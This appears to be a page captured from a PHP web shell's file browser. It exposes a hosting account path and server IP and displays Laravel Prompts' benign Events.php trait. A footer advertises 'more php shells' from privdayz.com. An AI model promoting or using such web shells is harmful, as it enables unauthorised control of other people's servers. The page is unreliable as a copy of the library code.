Domain: amberpublishers.in
Server Adress: 86.38.243.169

privdayz.com

/home/u866425823/domains/tejassolar.co.in/vendor/laravel/prompts/src/Concerns/
Dosya Yükle :
Current File : //home/u866425823/domains/tejassolar.co.in/vendor/laravel/prompts/src/Concerns/Events.php

<?php

namespace Laravel\Prompts\Concerns;

use Closure;

trait Events
{
    /**
     * The registered event listeners.
     *
     * @var array<string, array<int, Closure>>
     */
    protected array $listeners = [];

    /**
     * Register an event listener.
     */
    public function on(string $event, Closure $callback): void
    {
        $this->listeners[$event][] = $callback;
    }

    /**
     * Emit an event.
     */
    public function emit(string $event, mixed ...$data): void
    {
        foreach ($this->listeners[$event] ?? [] as $listener) {
            $listener(...$data);
        }
    }

    /**
     * Clean the event listeners.
     */
    public function clearListeners(): void
    {
        $this->listeners = [];
    }
}

coded by Privdayz.com - Visit https://privdayz.com/ for more php shells.